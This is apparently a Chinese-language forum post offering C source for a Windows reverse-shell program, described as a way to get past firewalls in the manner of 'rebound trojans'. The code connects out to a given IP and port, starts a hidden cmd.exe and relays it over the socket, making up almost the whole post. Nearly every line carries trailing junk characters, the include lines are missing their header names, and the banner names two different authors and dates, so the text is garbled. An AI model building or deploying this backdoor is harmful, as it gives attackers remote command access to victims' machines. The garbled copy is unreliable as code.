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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .?T,>#R  
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/* ============================== -j1?l Y  
Rebound port in Windows NT npC:SrI%  
By wind,2006/7 "mlVs/nsyG  
===============================*/ E9e|+$  
#include 8aDh HXI  
#include s8L=:hiSf)  
{cmY`to  
#pragma comment(lib,"wsock32.lib") <d89eV+  
~9%L)nC2'  
void OutputShell(); )Il) H  
SOCKET sClient; 28,Hd!{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VfWU-lJ  
[B<htD&  
void main(int argc,char **argv) 0c6b_%Rd  
{ iI T7pq1  
WSADATA stWsaData; I`k%/ei38  
int nRet; WzD=Ol  
SOCKADDR_IN stSaiClient,stSaiServer; FXMrD,qVg  
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if(argc != 3) En01LrC?  
{ MIa#\tJj  
printf("Useage:\n\rRebound DestIP DestPort\n"); {k BHZ$/  
return; j#:IG/)GL  
} 7A6Qrfw  
1dDK(RBbQ  
WSAStartup(MAKEWORD(2,2),&stWsaData); AA=zDB<N  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L@9@3?  
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stSaiClient.sin_family = AF_INET; \ZNUt$\  
stSaiClient.sin_port = htons(0); yW3!V-iA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zt&"K0X|  
/e|vz^#+1,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X5[.X()M4  
{ v\&C]W]  
printf("Bind Socket Failed!\n"); %?<Y&t  
return; D,R"P }G  
} p;#@#>h  
\ @XvEx%  
stSaiServer.sin_family = AF_INET; 7]\_7L|>]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z`jc*jgy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'PO+P~|oa&  
}4$k-,1S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'Cr2& dy  
{ ;og[ q  
printf("Connect Error!"); olA 1,8  
return; m2sf]-?Y  
} {X r|L  
OutputShell(); "XKcbdr8-  
} %?2:1o  
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void OutputShell() PMOyZ3  
{ {HF,F=W  
char szBuff[1024]; Y\7WCaSgi  
SECURITY_ATTRIBUTES stSecurityAttributes; ~F)[H'$A  
OSVERSIONINFO stOsversionInfo; { Q?\%4>2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d2\#Zlu<  
STARTUPINFO stStartupInfo; <GdQ""X  
char *szShell; Al93x  
PROCESS_INFORMATION stProcessInformation; $3yzB9\a"  
unsigned long lBytesRead; Z'Uc}M'U  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 77zfRSb+  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rjaG{ i  
stSecurityAttributes.lpSecurityDescriptor = 0; +cXdF  
stSecurityAttributes.bInheritHandle = TRUE; a ]b%v9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]=ubl!0=:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oS0rP'V^  
+.3,(l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?xTdL738  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ABG>W>H-S  
stStartupInfo.wShowWindow = SW_HIDE; V#Pz `D  
stStartupInfo.hStdInput = hReadPipe; @Jh;YDr`A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zZE@:P&lf  
m[w 8|[  
GetVersionEx(&stOsversionInfo); PSB@yV <  
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switch(stOsversionInfo.dwPlatformId) B[IqLD'6  
{ >Y)FoHa+/  
case 1: dN)@/R^E;  
szShell = "command.com"; 9zKbzT]  
break; +Rq7m]  
default: }"\jB  
szShell = "cmd.exe"; vVfIe5+OP  
break; -. J@  
} 2;`F` }BA  
\L]T|]}(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y%Wbm&h  
gI5Fzk@:  
send(sClient,szMsg,77,0); #U ?=D/  
while(1) nq,P.~l  
{ d>bS)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wM0P#+bA\  
if(lBytesRead) L9bIdiB7  
{ p6*|)}T_%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Kc#42 C;t/  
send(sClient,szBuff,lBytesRead,0); IzWS6!zKU  
} oc0z1u  
else LVAnZ'h/|  
{ iJ%`ym4Y  
lBytesRead=recv(sClient,szBuff,1024,0); hcrx(oJ5  
if(lBytesRead<=0) break; :yS Q[AJ"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F7N4qq1  
} -guVl 4 V  
}  Z5[f  
%:=Jr#a  
return; R2B0?fu  
}
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